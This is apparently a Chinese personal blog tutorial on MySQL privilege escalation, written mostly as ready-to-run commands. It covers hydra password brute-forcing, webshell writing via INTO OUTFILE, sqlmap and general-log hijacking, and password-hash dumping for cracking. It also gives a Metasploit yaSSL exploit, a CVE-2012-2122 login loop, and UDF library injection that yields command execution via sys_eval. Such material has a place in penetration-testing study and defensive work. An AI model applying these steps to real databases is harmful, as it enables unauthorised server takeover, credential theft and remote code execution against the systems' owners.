mysql提权

Last updated on September 27, 2024 am

本文讲使用最高权限登录mysql终端后如何获取shell权限

获取mysql的用户名和密码的方式

  1. MySQL 3306 端口弱口令爆破

    1
    hydra -l 用户名 -P 密码字典 mysql://对方IP
  2. sqlmap 注入的 --sql-shell 模式

  3. 网站的数据库配置文件中拿到明文密码信息

  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

获取webshell权限

into oufile 写 shell

前提:

  • secure_file_priv 无限制(才能使用load_file)
1
2
3
4
5
6
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录
  • 只能网站文件的物理地址
  • 网站路径下具有写权限

利用:

1
2
3
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
#sqlmap操作
sqlmap -u "http://x.x.x.x/?id=x" --file-write="shell.php" --file-dest="/var/www/html/test/shell.php"

日志文件写shell

要求对网站目录具有写权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------+
| Variable_name | Value |
+------------------+---------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/fru1ts.log |
+------------------+---------------------------+
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 往日志里面写入 payload
select '<?php phpinfo();?>';

访问就能够getshell

一般成功率低,在linux系统权限限制比较严格,而且写入成功了,这个文件是mysql创建的,apache访问时会出现HTTP 500的状态码,在windows系统成功率会高一点。

获取主机权限

假设已经拥有mysql的最高权限

Hash 获取与解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+

# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host | user | authentication_string |
+-----------+---------------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+

https://www.cmd5.com/ 破解一下,或者使用Hashcat 破解

mysql CVE漏洞

可以借助MSF

yaSSL 缓冲区溢出
1
msf6 > use exploit/linux/mysql/mysql_yassl_hello
CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:

1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

UDF提权

寻找插件目录
1
show variables like '%plugin%';
写入动态链接库

SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击

1
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

没有注入的话,可以通过select写入文件,不过要求secure_file_priv是空

1
2
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

十六进制的内容可以参考国光师傅的,https://www.sqlsec.com/tools/udf.html

创建自定义函数并调用命令
1
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME '/usr/lib/mysql/plugin/udf.so';
1
select * from mysql.func; #查看 mysql 函数里面是否新增了 sys_eval

然后就可以命令执行了

1
mysql > select sys_eval('whoami');

UDF shell

USF.PHP

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,可以使用网页脚本

t00ls USF.PHP一键操作

目标 MySQL 不允许外连,但是可以上传 PHP 脚本,这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上,

https://sqlsec.lanzoux.com/ibpoGijd6bc 国光提供了官方脚本

启动ntunnel_mysql.php,连接本地数据库,然后Navicat 连接的时候设置HTTP通道

然后主机地址填localhost即可

之后就可以进行UDF提权了

https://www.sqlsec.com/2020/11/mysql.html


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/02/05/mysql%E6%8F%90%E6%9D%83/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!